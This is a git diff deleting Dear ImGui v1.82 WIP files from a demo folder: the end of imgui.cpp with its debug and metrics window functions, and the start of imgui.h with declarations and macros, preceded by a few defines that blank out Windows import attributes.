< g.FrameCount - 1) - continue; - ImDrawList* draw_list = GetForegroundDrawList(table->OuterWindow); - if (cfg->ShowTablesRectsType >= TRT_ColumnsRect) - { - for (int column_n = 0; column_n < table->ColumnsCount; column_n++) - { - ImRect r = Funcs::GetTableRect(table, cfg->ShowTablesRectsType, column_n); - ImU32 col = (table->HoveredColumnBody == column_n) ? IM_COL32(255, 255, 128, 255) : IM_COL32(255, 0, 128, 255); - float thickness = (table->HoveredColumnBody == column_n) ? 3.0f : 1.0f; - draw_list->AddRect(r.Min, r.Max, col, 0.0f, ~0, thickness); - } - } - else - { - ImRect r = Funcs::GetTableRect(table, cfg->ShowTablesRectsType, -1); - draw_list->AddRect(r.Min, r.Max, IM_COL32(255, 0, 128, 255)); - } - } - } -#endif // #ifdef IMGUI_HAS_TABLE - -#ifdef IMGUI_HAS_DOCK - // Overlay: Display Docking info - if (show_docking_nodes && g.IO.KeyCtrl) - { - } -#endif // #ifdef IMGUI_HAS_DOCK - - End(); -} - -// [DEBUG] Display contents of Columns -void ImGui::DebugNodeColumns(ImGuiOldColumns* columns) -{ - if (!TreeNode((void*)(uintptr_t)columns->ID, "Columns Id: 0x%08X, Count: %d, Flags: 0x%04X", columns->ID, columns->Count, columns->Flags)) - return; - BulletText("Width: %.1f (MinX: %.1f, MaxX: %.1f)", columns->OffMaxX - columns->OffMinX, columns->OffMinX, columns->OffMaxX); - for (int column_n = 0; column_n < columns->Columns.Size; column_n++) - BulletText("Column %02d: OffsetNorm %.3f (= %.1f px)", column_n, columns->Columns[column_n].OffsetNorm, GetColumnOffsetFromNorm(columns, columns->Columns[column_n].OffsetNorm)); - TreePop(); -} - -// [DEBUG] Display contents of ImDrawList -void ImGui::DebugNodeDrawList(ImGuiWindow* window, const ImDrawList* draw_list, const char* label) -{ - ImGuiContext& g = *GImGui; - ImGuiMetricsConfig* cfg = &g.DebugMetricsConfig; - int cmd_count = draw_list->CmdBuffer.Size; - if (cmd_count > 0 && draw_list->CmdBuffer.back().ElemCount == 0 && draw_list->CmdBuffer.back().UserCallback == NULL) - cmd_count--; - bool node_open = TreeNode(draw_list, "%s: '%s' %d vtx, %d indices, %d cmds", label, draw_list->_OwnerName ? draw_list->_OwnerName : "", draw_list->VtxBuffer.Size, draw_list->IdxBuffer.Size, cmd_count); - if (draw_list == GetWindowDrawList()) - { - SameLine(); - TextColored(ImVec4(1.0f, 0.4f, 0.4f, 1.0f), "CURRENTLY APPENDING"); // Can't display stats for active draw list! (we don't have the data double-buffered) - if (node_open) - TreePop(); - return; - } - - ImDrawList* fg_draw_list = GetForegroundDrawList(window); // Render additional visuals into the top-most draw list - if (window && IsItemHovered()) - fg_draw_list->AddRect(window->Pos, window->Pos + window->Size, IM_COL32(255, 255, 0, 255)); - if (!node_open) - return; - - if (window && !window->WasActive) - TextDisabled("Warning: owning Window is inactive. This DrawList is not being rendered!"); - - for (const ImDrawCmd* pcmd = draw_list->CmdBuffer.Data; pcmd < draw_list->CmdBuffer.Data + cmd_count; pcmd++) - { - if (pcmd->UserCallback) - { - BulletText("Callback %p, user_data %p", pcmd->UserCallback, pcmd->UserCallbackData); - continue; - } - - char buf[300]; - ImFormatString(buf, IM_ARRAYSIZE(buf), "DrawCmd:%5d tris, Tex 0x%p, ClipRect (%4.0f,%4.0f)-(%4.0f,%4.0f)", - pcmd->ElemCount / 3, (void*)(intptr_t)pcmd->TextureId, - pcmd->ClipRect.x, pcmd->ClipRect.y, pcmd->ClipRect.z, pcmd->ClipRect.w); - bool pcmd_node_open = TreeNode((void*)(pcmd - draw_list->CmdBuffer.begin()), "%s", buf); - if (IsItemHovered() && (cfg->ShowDrawCmdMesh || cfg->ShowDrawCmdBoundingBoxes) && fg_draw_list) - DebugNodeDrawCmdShowMeshAndBoundingBox(fg_draw_list, draw_list, pcmd, cfg->ShowDrawCmdMesh, cfg->ShowDrawCmdBoundingBoxes); - if (!pcmd_node_open) - continue; - - // Calculate approximate coverage area (touched pixel count) - // This will be in pixels squared as long there's no post-scaling happening to the renderer output. - const ImDrawIdx* idx_buffer = (draw_list->IdxBuffer.Size > 0) ? draw_list->IdxBuffer.Data : NULL; - const ImDrawVert* vtx_buffer = draw_list->VtxBuffer.Data + pcmd->VtxOffset; - float total_area = 0.0f; - for (unsigned int idx_n = pcmd->IdxOffset; idx_n < pcmd->IdxOffset + pcmd->ElemCount; ) - { - ImVec2 triangle[3]; - for (int n = 0; n < 3; n++, idx_n++) - triangle[n] = vtx_buffer[idx_buffer ? idx_buffer[idx_n] : idx_n].pos; - total_area += ImTriangleArea(triangle[0], triangle[1], triangle[2]); - } - - // Display vertex information summary. Hover to get all triangles drawn in wire-frame - ImFormatString(buf, IM_ARRAYSIZE(buf), "Mesh: ElemCount: %d, VtxOffset: +%d, IdxOffset: +%d, Area: ~%0.f px", pcmd->ElemCount, pcmd->VtxOffset, pcmd->IdxOffset, total_area); - Selectable(buf); - if (IsItemHovered() && fg_draw_list) - DebugNodeDrawCmdShowMeshAndBoundingBox(fg_draw_list, draw_list, pcmd, true, false); - - // Display individual triangles/vertices. Hover on to get the corresponding triangle highlighted. - ImGuiListClipper clipper; - clipper.Begin(pcmd->ElemCount / 3); // Manually coarse clip our print out of individual vertices to save CPU, only items that may be visible. - while (clipper.Step()) - for (int prim = clipper.DisplayStart, idx_i = pcmd->IdxOffset + clipper.DisplayStart * 3; prim < clipper.DisplayEnd; prim++) - { - char* buf_p = buf, * buf_end = buf + IM_ARRAYSIZE(buf); - ImVec2 triangle[3]; - for (int n = 0; n < 3; n++, idx_i++) - { - const ImDrawVert& v = vtx_buffer[idx_buffer ? idx_buffer[idx_i] : idx_i]; - triangle[n] = v.pos; - buf_p += ImFormatString(buf_p, buf_end - buf_p, "%s %04d: pos (%8.2f,%8.2f), uv (%.6f,%.6f), col %08X\n", - (n == 0) ? "Vert:" : " ", idx_i, v.pos.x, v.pos.y, v.uv.x, v.uv.y, v.col); - } - - Selectable(buf, false); - if (fg_draw_list && IsItemHovered()) - { - ImDrawListFlags backup_flags = fg_draw_list->Flags; - fg_draw_list->Flags &= ~ImDrawListFlags_AntiAliasedLines; // Disable AA on triangle outlines is more readable for very large and thin triangles. - fg_draw_list->AddPolyline(triangle, 3, IM_COL32(255, 255, 0, 255), ImDrawFlags_Closed, 1.0f); - fg_draw_list->Flags = backup_flags; - } - } - TreePop(); - } - TreePop(); -} - -// [DEBUG] Display mesh/aabb of a ImDrawCmd -void ImGui::DebugNodeDrawCmdShowMeshAndBoundingBox(ImDrawList* out_draw_list, const ImDrawList* draw_list, const ImDrawCmd* draw_cmd, bool show_mesh, bool show_aabb) -{ - IM_ASSERT(show_mesh || show_aabb); - ImDrawIdx* idx_buffer = (draw_list->IdxBuffer.Size > 0) ? draw_list->IdxBuffer.Data : NULL; - ImDrawVert* vtx_buffer = draw_list->VtxBuffer.Data + draw_cmd->VtxOffset; - - // Draw wire-frame version of all triangles - ImRect clip_rect = draw_cmd->ClipRect; - ImRect vtxs_rect(FLT_MAX, FLT_MAX, -FLT_MAX, -FLT_MAX); - ImDrawListFlags backup_flags = out_draw_list->Flags; - out_draw_list->Flags &= ~ImDrawListFlags_AntiAliasedLines; // Disable AA on triangle outlines is more readable for very large and thin triangles. - for (unsigned int idx_n = draw_cmd->IdxOffset; idx_n < draw_cmd->IdxOffset + draw_cmd->ElemCount; ) - { - ImVec2 triangle[3]; - for (int n = 0; n < 3; n++, idx_n++) - vtxs_rect.Add((triangle[n] = vtx_buffer[idx_buffer ? idx_buffer[idx_n] : idx_n].pos)); - if (show_mesh) - out_draw_list->AddPolyline(triangle, 3, IM_COL32(255, 255, 0, 255), ImDrawFlags_Closed, 1.0f); // In yellow: mesh triangles - } - // Draw bounding boxes - if (show_aabb) - { - out_draw_list->AddRect(ImFloor(clip_rect.Min), ImFloor(clip_rect.Max), IM_COL32(255, 0, 255, 255)); // In pink: clipping rectangle submitted to GPU - out_draw_list->AddRect(ImFloor(vtxs_rect.Min), ImFloor(vtxs_rect.Max), IM_COL32(0, 255, 255, 255)); // In cyan: bounding box of triangles - } - out_draw_list->Flags = backup_flags; -} - -// [DEBUG] Display contents of ImGuiStorage -void ImGui::DebugNodeStorage(ImGuiStorage* storage, const char* label) -{ - if (!TreeNode(label, "%s: %d entries, %d bytes", label, storage->Data.Size, storage->Data.size_in_bytes())) - return; - for (int n = 0; n < storage->Data.Size; n++) - { - const ImGuiStorage::ImGuiStoragePair& p = storage->Data[n]; - BulletText("Key 0x%08X Value { i: %d }", p.key, p.val_i); // Important: we currently don't store a type, real value may not be integer. - } - TreePop(); -} - -// [DEBUG] Display contents of ImGuiTabBar -void ImGui::DebugNodeTabBar(ImGuiTabBar* tab_bar, const char* label) -{ - // Standalone tab bars (not associated to docking/windows functionality) currently hold no discernible strings. - char buf[256]; - char* p = buf; - const char* buf_end = buf + IM_ARRAYSIZE(buf); - const bool is_active = (tab_bar->PrevFrameVisible >= GetFrameCount() - 2); - p += ImFormatString(p, buf_end - p, "%s 0x%08X (%d tabs)%s", label, tab_bar->ID, tab_bar->Tabs.Size, is_active ? "" : " *Inactive*"); - IM_UNUSED(p); - if (!is_active) { PushStyleColor(ImGuiCol_Text, GetStyleColorVec4(ImGuiCol_TextDisabled)); } - bool open = TreeNode(tab_bar, "%s", buf); - if (!is_active) { PopStyleColor(); } - if (is_active && IsItemHovered()) - { - ImDrawList* draw_list = GetForegroundDrawList(); - draw_list->AddRect(tab_bar->BarRect.Min, tab_bar->BarRect.Max, IM_COL32(255, 255, 0, 255)); - draw_list->AddLine(ImVec2(tab_bar->ScrollingRectMinX, tab_bar->BarRect.Min.y), ImVec2(tab_bar->ScrollingRectMinX, tab_bar->BarRect.Max.y), IM_COL32(0, 255, 0, 255)); - draw_list->AddLine(ImVec2(tab_bar->ScrollingRectMaxX, tab_bar->BarRect.Min.y), ImVec2(tab_bar->ScrollingRectMaxX, tab_bar->BarRect.Max.y), IM_COL32(0, 255, 0, 255)); - } - if (open) - { - for (int tab_n = 0; tab_n < tab_bar->Tabs.Size; tab_n++) - { - const ImGuiTabItem* tab = &tab_bar->Tabs[tab_n]; - PushID(tab); - if (SmallButton("<")) { TabBarQueueReorder(tab_bar, tab, -1); } SameLine(0, 2); - if (SmallButton(">")) { TabBarQueueReorder(tab_bar, tab, +1); } SameLine(); - Text("%02d%c Tab 0x%08X '%s' Offset: %.1f, Width: %.1f/%.1f", - tab_n, (tab->ID == tab_bar->SelectedTabId) ? '*' : ' ', tab->ID, (tab->NameOffset != -1) ? tab_bar->GetTabName(tab) : "", tab->Offset, tab->Width, tab->ContentWidth); - PopID(); - } - TreePop(); - } -} - -void ImGui::DebugNodeViewport(ImGuiViewportP* viewport) -{ - SetNextItemOpen(true, ImGuiCond_Once); - if (TreeNode("viewport0", "Viewport #%d", 0)) - { - ImGuiWindowFlags flags = viewport->Flags; - BulletText("Main Pos: (%.0f,%.0f), Size: (%.0f,%.0f)\nWorkArea Offset Left: %.0f Top: %.0f, Right: %.0f, Bottom: %.0f", - viewport->Pos.x, viewport->Pos.y, viewport->Size.x, viewport->Size.y, - viewport->WorkOffsetMin.x, viewport->WorkOffsetMin.y, viewport->WorkOffsetMax.x, viewport->WorkOffsetMax.y); - BulletText("Flags: 0x%04X =%s%s%s", viewport->Flags, - (flags & ImGuiViewportFlags_IsPlatformWindow) ? " IsPlatformWindow" : "", - (flags & ImGuiViewportFlags_IsPlatformMonitor) ? " IsPlatformMonitor" : "", - (flags & ImGuiViewportFlags_OwnedByApp) ? " OwnedByApp" : ""); - for (int layer_i = 0; layer_i < IM_ARRAYSIZE(viewport->DrawDataBuilder.Layers); layer_i++) - for (int draw_list_i = 0; draw_list_i < viewport->DrawDataBuilder.Layers[layer_i].Size; draw_list_i++) - DebugNodeDrawList(NULL, viewport->DrawDataBuilder.Layers[layer_i][draw_list_i], "DrawList"); - TreePop(); - } -} - -void ImGui::DebugNodeWindow(ImGuiWindow* window, const char* label) -{ - if (window == NULL) - { - BulletText("%s: NULL", label); - return; - } - - ImGuiContext& g = *GImGui; - const bool is_active = window->WasActive; - ImGuiTreeNodeFlags tree_node_flags = (window == g.NavWindow) ? ImGuiTreeNodeFlags_Selected : ImGuiTreeNodeFlags_None; - if (!is_active) { PushStyleColor(ImGuiCol_Text, GetStyleColorVec4(ImGuiCol_TextDisabled)); } - const bool open = TreeNodeEx(label, tree_node_flags, "%s '%s'%s", label, window->Name, is_active ? "" : " *Inactive*"); - if (!is_active) { PopStyleColor(); } - if (IsItemHovered() && is_active) - GetForegroundDrawList(window)->AddRect(window->Pos, window->Pos + window->Size, IM_COL32(255, 255, 0, 255)); - if (!open) - return; - - if (window->MemoryCompacted) - TextDisabled("Note: some memory buffers have been compacted/freed."); - - ImGuiWindowFlags flags = window->Flags; - DebugNodeDrawList(window, window->DrawList, "DrawList"); - BulletText("Pos: (%.1f,%.1f), Size: (%.1f,%.1f), ContentSize (%.1f,%.1f) Ideal (%.1f,%.1f)", window->Pos.x, window->Pos.y, window->Size.x, window->Size.y, window->ContentSize.x, window->ContentSize.y, window->ContentSizeIdeal.x, window->ContentSizeIdeal.y); - BulletText("Flags: 0x%08X (%s%s%s%s%s%s%s%s%s..)", flags, - (flags & ImGuiWindowFlags_ChildWindow) ? "Child " : "", (flags & ImGuiWindowFlags_Tooltip) ? "Tooltip " : "", (flags & ImGuiWindowFlags_Popup) ? "Popup " : "", - (flags & ImGuiWindowFlags_Modal) ? "Modal " : "", (flags & ImGuiWindowFlags_ChildMenu) ? "ChildMenu " : "", (flags & ImGuiWindowFlags_NoSavedSettings) ? "NoSavedSettings " : "", - (flags & ImGuiWindowFlags_NoMouseInputs)? "NoMouseInputs":"", (flags & ImGuiWindowFlags_NoNavInputs) ? "NoNavInputs" : "", (flags & ImGuiWindowFlags_AlwaysAutoResize) ? "AlwaysAutoResize" : ""); - BulletText("Scroll: (%.2f/%.2f,%.2f/%.2f) Scrollbar:%s%s", window->Scroll.x, window->ScrollMax.x, window->Scroll.y, window->ScrollMax.y, window->ScrollbarX ? "X" : "", window->ScrollbarY ? "Y" : ""); - BulletText("Active: %d/%d, WriteAccessed: %d, BeginOrderWithinContext: %d", window->Active, window->WasActive, window->WriteAccessed, (window->Active || window->WasActive) ? window->BeginOrderWithinContext : -1); - BulletText("Appearing: %d, Hidden: %d (CanSkip %d Cannot %d), SkipItems: %d", window->Appearing, window->Hidden, window->HiddenFramesCanSkipItems, window->HiddenFramesCannotSkipItems, window->SkipItems); - BulletText("NavLastIds: 0x%08X,0x%08X, NavLayerActiveMask: %X", window->NavLastIds[0], window->NavLastIds[1], window->DC.NavLayerActiveMask); - BulletText("NavLastChildNavWindow: %s", window->NavLastChildNavWindow ? window->NavLastChildNavWindow->Name : "NULL"); - if (!window->NavRectRel[0].IsInverted()) - BulletText("NavRectRel[0]: (%.1f,%.1f)(%.1f,%.1f)", window->NavRectRel[0].Min.x, window->NavRectRel[0].Min.y, window->NavRectRel[0].Max.x, window->NavRectRel[0].Max.y); - else - BulletText("NavRectRel[0]: "); - if (window->RootWindow != window) { DebugNodeWindow(window->RootWindow, "RootWindow"); } - if (window->ParentWindow != NULL) { DebugNodeWindow(window->ParentWindow, "ParentWindow"); } - if (window->DC.ChildWindows.Size > 0) { DebugNodeWindowsList(&window->DC.ChildWindows, "ChildWindows"); } - if (window->ColumnsStorage.Size > 0 && TreeNode("Columns", "Columns sets (%d)", window->ColumnsStorage.Size)) - { - for (int n = 0; n < window->ColumnsStorage.Size; n++) - DebugNodeColumns(&window->ColumnsStorage[n]); - TreePop(); - } - DebugNodeStorage(&window->StateStorage, "Storage"); - TreePop(); -} - -void ImGui::DebugNodeWindowSettings(ImGuiWindowSettings* settings) -{ - Text("0x%08X \"%s\" Pos (%d,%d) Size (%d,%d) Collapsed=%d", - settings->ID, settings->GetName(), settings->Pos.x, settings->Pos.y, settings->Size.x, settings->Size.y, settings->Collapsed); -} - -void ImGui::DebugNodeWindowsList(ImVector* windows, const char* label) -{ - if (!TreeNode(label, "%s (%d)", label, windows->Size)) - return; - Text("(In front-to-back order:)"); - for (int i = windows->Size - 1; i >= 0; i--) // Iterate front to back - { - PushID((*windows)[i]); - DebugNodeWindow((*windows)[i], "Window"); - PopID(); - } - TreePop(); -} - -#else - -void ImGui::ShowMetricsWindow(bool*) {} -void ImGui::DebugNodeColumns(ImGuiOldColumns*) {} -void ImGui::DebugNodeDrawList(ImGuiWindow*, const ImDrawList*, const char*) {} -void ImGui::DebugNodeDrawCmdShowMeshAndBoundingBox(ImDrawList*, const ImDrawList*, const ImDrawCmd*, bool, bool) {} -void ImGui::DebugNodeStorage(ImGuiStorage*, const char*) {} -void ImGui::DebugNodeTabBar(ImGuiTabBar*, const char*) {} -void ImGui::DebugNodeWindow(ImGuiWindow*, const char*) {} -void ImGui::DebugNodeWindowSettings(ImGuiWindowSettings*) {} -void ImGui::DebugNodeWindowsList(ImVector*, const char*) {} -void ImGui::DebugNodeViewport(ImGuiViewportP*) {} - -#endif - -//----------------------------------------------------------------------------- - -// Include imgui_user.inl at the end of imgui.cpp to access private data/functions that aren't exposed. -// Prefer just including imgui_internal.h from your code rather than using this define. If a declaration is missing from imgui_internal.h add it or request it on the github. -#ifdef IMGUI_INCLUDE_IMGUI_USER_INL -#include "imgui_user.inl" -#endif - -//----------------------------------------------------------------------------- - -//#endif // #ifndef IMGUI_DISABLE diff --git a/demos/DemoImGui/imgui.h b/demos/DemoImGui/imgui.h deleted file mode 100644 index 3057232..0000000 --- a/demos/DemoImGui/imgui.h +++ /dev/null @@ -1,2832 +0,0 @@ -#define WINUSERAPI -#define _KERNEL32_ -#define _ACRTIMP -#define _NTSYSTEM_ -#define _GDI32_ - -// dear imgui, v1.82 WIP -// (headers) - -// Help: -// - Read FAQ at http://dearimgui.org/faq -// - Newcomers, read 'Programmer guide' in imgui.cpp for notes on how to setup Dear ImGui in your codebase. -// - Call and read ImGui::ShowDemoWindow() in imgui_demo.cpp. All applications in examples/ are doing that. -// Read imgui.cpp for details, links and comments. - -// Resources: -// - FAQ http://dearimgui.org/faq -// - Homepage & latest https://github.com/ocornut/imgui -// - Releases & changelog https://github.com/ocornut/imgui/releases -// - Gallery https://github.com/ocornut/imgui/issues/3488 (please post your screenshots/video there!) -// - Glossary https://github.com/ocornut/imgui/wiki/Glossary -// - Wiki https://github.com/ocornut/imgui/wiki -// - Issues & support https://github.com/ocornut/imgui/issues -// - Discussions https://github.com/ocornut/imgui/discussions - -/* - -Index of this file: -// [SECTION] Header mess -// [SECTION] Forward declarations and basic types -// [SECTION] Dear ImGui end-user API functions -// [SECTION] Flags & Enumerations -// [SECTION] Helpers: Memory allocations macros, ImVector<> -// [SECTION] ImGuiStyle -// [SECTION] ImGuiIO -// [SECTION] Misc data structures (ImGuiInputTextCallbackData, ImGuiSizeCallbackData, ImGuiPayload, ImGuiTableSortSpecs, ImGuiTableColumnSortSpecs) -// [SECTION] Helpers (ImGuiOnceUponAFrame, ImGuiTextFilter, ImGuiTextBuffer, ImGuiStorage, ImGuiListClipper, ImColor) -// [SECTION] Drawing API (ImDrawCallback, ImDrawCmd, ImDrawIdx, ImDrawVert, ImDrawChannel, ImDrawListSplitter, ImDrawFlags, ImDrawListFlags, ImDrawList, ImDrawData) -// [SECTION] Font API (ImFontConfig, ImFontGlyph, ImFontGlyphRangesBuilder, ImFontAtlasFlags, ImFontAtlas, ImFont) -// [SECTION] Viewports (ImGuiViewportFlags, ImGuiViewport) -// [SECTION] Obsolete functions and types - -*/ - -#pragma once - -// Configuration file with compile-time options (edit imconfig.h or '#define IMGUI_USER_CONFIG "myfilename.h" from your build system') -#ifdef IMGUI_USER_CONFIG -#include IMGUI_USER_CONFIG -#endif -#if !defined(IMGUI_DISABLE_INCLUDE_IMCONFIG_H) || defined(IMGUI_INCLUDE_IMCONFIG_H) -#include "imconfig.h" -#endif - -#ifndef IMGUI_DISABLE - -//----------------------------------------------------------------------------- -// [SECTION] Header mess -//----------------------------------------------------------------------------- - -// Includes -#include // FLT_MIN, FLT_MAX -#include // va_list, va_start, va_end -#include // ptrdiff_t, NULL -#include // memset, memmove, memcpy, strlen, strchr, strcpy, strcmp - -// Version -// (Integer encoded as XYYZZ for use in #if preprocessor conditionals. Work in progress versions typically starts at XYY99 then bounce up to XYY00, XYY01 etc. when release tagging happens) -#define IMGUI_VERSION "1.82 WIP" -#define IMGUI_VERSION_NUM 18104 -#define IMGUI_CHECKVERSION() ImGui::DebugCheckVersionAndDataLayout(IMGUI_VERSION, sizeof(ImGuiIO), sizeof(ImGuiStyle), sizeof(ImVec2), sizeof(ImVec4), sizeof(ImDrawVert), sizeof(ImDrawIdx)) -#define IMGUI_HAS_TABLE - -// Define attributes of all API symbols declarations (e.g. for DLL under Windows) -// IMGUI_API is used for core imgui functions, IMGUI_IMPL_API is used for the default backends files (imgui_impl_xxx.h) -// Using dear imgui via a shared library is not recommended, because we don't guarantee backward nor forward ABI compatibility (also function call overhead, as dear imgui is a call-heavy API) -#ifndef IMGUI_API -#define IMGUI_API -#endif -#ifndef IMGUI_IMPL_API -#define IMGUI_IMPL_API IMGUI_API -#endif - -// Helper Macros -#ifndef IM_ASSERT -#include -#define IM_ASSERT(_EXPR) assert(_EXPR) // You can override the default assert handler by editing imconfig.h -#endif -#define IM_ARRAYSIZE(_ARR) ((int)(sizeof(_ARR) / sizeof(*(_ARR)))) // Size of a static C-style array. Don't use on pointers! -#define IM_UNUSED(_VAR) ((void)(_VAR)) // Used to silence "unused variable warnings". Often useful as asserts may be stripped out from final builds. -#if (__cplusplus >= 201100) || (defined(_MSVC_LANG) && _MSVC_LANG >= 201100) -#define IM_OFFSETOF(_TYPE,_MEMBER) offsetof(_TYPE, _MEMBER) // Offset of _MEMBER within _TYPE. Standardized as offsetof() in C++11 -#else -#define IM_OFFSETOF(_TYPE,_MEMBER) ((size_t)&(((_TYPE*)0)->_MEMBER)) // Offset of _MEMBER within _TYPE. Old style macro. -#endif - -// Helper Macros - IM_FMTARGS, IM_FMTLIST: Apply printf-style warnings to our formatting functions. -#if !defined(IMGUI_USE_STB_SPRINTF) && defined(__clang__) -#define IM_FMTARGS(FMT) __attribute__((format(printf, FMT, FMT+1))) -#define IM_FMTLIST(FMT) __attribute__((format(printf, FMT, 0))) -#elif !defined(IMGUI_USE_STB_SPRINTF) && defined(__GNUC__) && defined(__MINGW32__) -#define IM_FMTARGS(FMT) __attribute__((format(gnu_printf, FMT, FMT+1))) -#define IM_FMTLIST(FMT) __attribute__((format(gnu_printf, FMT, 0))) -#else -#define IM_FMTARGS(FMT) -#define IM_FMTLIST(FMT) -#endif - -// Warnings -#if defined(__clang__) -#pragma clang diagnostic push -#pragma clang diagnostic ignored "-Wold-style-cast" -#if __has_warning("-Wzero-as-null-pointer-constant") -#pragma clang diagnostic ignored "-Wzero-as-null-pointer-constant" -#endif -#elif defined(__GNUC__) -#pragma GCC diagnostic push -#pragma GCC diagnostic ignored "-Wpragmas" // warning: unknown option after '#pragma GCC diagnostic' kind -#pragma GCC diagnostic ignored "-Wclass-memaccess" // [__GNUC__ >= 8] warning: 'memset/memcpy' clearing/writing an object of type 'xxxx' with no trivial copy-assignment; use assignment or value-initialization instead -#endif - -//----------------------------------------------------------------------------- -// [SECTION] Forward declarations and basic types -//----------------------------------------------------------------------------- - -// Forward declarations -struct ImDrawChannel; // Temporary storage to output draw commands out of order, used by ImDrawListSplitter and ImDrawList::ChannelsSplit() -struct ImDrawCmd; // A single draw command within a parent ImDrawList (generally maps to 1 GPU draw call, unless it is a callback) -struct ImDrawData; // All draw command lists required to render the frame + pos/size coordinates to use for the projection matrix. -struct ImDrawList; // A single draw command list (generally one per window, conceptually you may see this as a dynamic "mesh" builder) -struct ImDrawListSharedData; // Data shared among multiple draw lists (typically owned by parent ImGui context, but you may create one yourself) -struct ImDrawListSplitter; // Helper to split a draw list into different layers which can be drawn into out of order, then flattened back. -struct ImDrawVert; // A single vertex (pos + uv + col = 20 bytes by default. Override layout with IMGUI_OVERRIDE_DRAWVERT_STRUCT_LAYOUT) -struct ImFont; // Runtime data for a single font within a parent ImFontAtlas -struct ImFontAtlas; // Runtime data for multiple fonts, bake multiple fonts into a single texture, TTF/OTF font loader -struct ImFontBuilderIO; // Opaque interface to a font builder (stb_truetype or FreeType). -struct ImFontConfig; // Configuration data when adding a font or merging fonts -struct ImFontGlyph; // A single font glyph (code point + coordinates within in ImFontAtlas + offset) -struct ImFontGlyphRangesBuilder; // Helper to build glyph ranges from text/string data -struct ImColor; // Helper functions to create a color that can be converted to either u32 or float4 (*OBSOLETE* please avoid using) -struct ImGuiContext; // Dear ImGui context (opaque structure, unless including imgui_internal.h) -struct ImGuiIO; // Main configuration and I/O between your application and ImGui -struct ImGuiInputTextCallbackData; // Shared state of InputText() when using custom ImGuiInputTextCallback (rare/advanced use) -struct ImGuiListClipper; // Helper to manually clip large list of items -struct ImGuiOnceUponAFrame; // Helper for running a block of code not more than once a frame, used by IMGUI_ONCE_UPON_A_FRAME macro -struct ImGuiPayload; // User data payload for drag and drop operations -struct ImGuiSizeCallbackData; // Callback data when using SetNextWindowSizeConstraints() (rare/advanced use) -struct ImGuiStorage; // Helper for key->value storage -struct ImGuiStyle; // Runtime data for styling/colors -struct ImGuiTableSortSpecs; // Sorting specifications for a table (often handling sort specs for a single column, occasionally more) -struct ImGuiTableColumnSortSpecs; // Sorting specification for one column of a table -struct ImGuiTextBuffer; // Helper to hold and append into a text buffer (~string builder) -struct ImGuiTextFilter; // Helper to parse and apply text filters (e.g. "aaaaa[,bbbbb][,ccccc]") -struct ImGuiViewport; // A Platform Window (always only one in 'master' branch), in the future may represent Platform Monitor - -// Enums/Flags (declared as int for compatibility with old C++, to allow using as flags and to not pollute the top of this file) -// - Tip: Use your programming IDE navigation facilities on the names in the _central column_ below to find the actual flags/enum lists! -// In Visual Studio IDE: CTRL+comma ("Edit.NavigateTo") can follow symbols in comments, whereas CTRL+F12 ("Edit.GoToImplementation") cannot. -// With Visual Assist installed: ALT+G ("VAssistX.GoToImplementation") can also follow symbols in comments. -typedef int ImGuiCol; // -> enum ImGuiCol_ // Enum: A color identifier for styling -typedef int ImGuiCond; // -> enum ImGuiCond_ // Enum: A condition for many Set*() functions -typedef int ImGuiDataType; // -> enum ImGuiDataType_ // Enum: A primary data type -typedef int ImGuiDir; // -> enum ImGuiDir_ // Enum: A cardinal direction -typedef int ImGuiKey; // -> enum ImGuiKey_ // Enum: A key identifier (ImGui-side enum) -typedef int ImGuiNavInput; // -> enum ImGuiNavInput_ // Enum: An input identifier for navigation -typedef int ImGuiMouseButton; // -> enum ImGuiMouseButton_ // Enum: A mouse button identifier (0=left, 1=right, 2=middle) -typedef int ImGuiMouseCursor; // -> enum ImGuiMouseCursor_ // Enum: A mouse cursor identifier -typedef int ImGuiSortDirection; // -> enum ImGuiSortDirection_ // Enum: A sorting direction (ascending or descending) -typedef int ImGuiStyleVar; // -> enum ImGuiStyleVar_ // Enum: A variable identifier for styling -typedef int ImGuiTableBgTarget; // -> enum ImGuiTableBgTarget_ // Enum: A color target for TableSetBgColor() -typedef int ImDrawFlags; // -> enum ImDrawFlags_ // Flags: for ImDrawList functions -typedef int ImDrawListFlags; // -> enum ImDrawListFlags_ // Flags: for ImDrawList instance -typedef int ImFontAtlasFlags; // -> enum ImFontAtlasFlags_ // Flags: for ImFontAtlas build -typedef int ImGuiBackendFlags; // -> enum ImGuiBackendFlags_ // Flags: for io.BackendFlags -typedef int ImGuiButtonFlags; // -> enum ImGuiButtonFlags_ // Flags: for InvisibleButton() -typedef int ImGuiColorEditFlags; // -> enum ImGuiColorEditFlags_ // Flags: for ColorEdit4(), ColorPicker4() etc. -typedef int ImGuiConfigFlags; // -> enum ImGuiConfigFlags_ // Flags: for io.ConfigFlags -typedef int ImGuiComboFlags; // -> enum ImGuiComboFlags_ // Flags: for BeginCombo() -typedef int ImGuiDragDropFlags; // -> enum ImGuiDragDropFlags_ // Flags: for BeginDragDropSource(), AcceptDragDropPayload() -typedef int ImGuiFocusedFlags; // -> enum ImGuiFocusedFlags_ // Flags: for IsWindowFocused() -typedef int ImGuiHoveredFlags; // -> enum ImGuiHoveredFlags_ // Flags: for IsItemHovered(), IsWindowHovered() etc. -typedef int ImGuiInputTextFlags; // -> enum ImGuiInputTextFlags_ // Flags: for InputText(), InputTextMultiline() -typedef int ImGuiKeyModFlags; // -> enum ImGuiKeyModFlags_ // Flags: for io.KeyMods (Ctrl/Shift/Alt/Super) -typedef int ImGuiPopupFlags; // -> enum ImGuiPopupFlags_ // Flags: for OpenPopup*(), BeginPopupContext*(), IsPopupOpen() -typedef int ImGuiSelectableFlags; // -> enum ImGuiSelectableFlags_ // Flags: for Selectable() -typedef int ImGuiSliderFlags; // -> enum ImGuiSliderFlags_ // Flags: for DragFloat(), DragInt(), SliderFloat(), SliderInt() etc. -typedef int ImGuiTabBarFlags; // -> enum ImGuiTabBarFlags_ // Flags: for BeginTabBar() -typedef int ImGuiTabItemFlags; // -> enum ImGuiTabItemFlags_ // Flags: for BeginTabItem() -typedef int ImGuiTableFlags; // -> enum ImGuiTableFlags_ // Flags: For BeginTable() -typedef int ImGuiTableColumnFlags; // -> enum ImGuiTableColumnFlags_// Flags: For TableSetupColumn() -typedef int ImGuiTableRowFlags; // -> enum ImGuiTableRowFlags_ // Flags: For TableNextRow() -typedef int ImGuiTreeNodeFlags; // -> enum ImGuiTreeNodeFlags_ // Flags: for TreeNode(), TreeNodeEx(), CollapsingHeader() -typedef int ImGuiViewportFlags; // -> enum ImGuiViewportFlags_ // Flags: for ImGuiViewport -typedef int ImGuiWindowFlags; // -> enum ImGuiWindowFlags_ // Flags: for Begin(), BeginChild() - 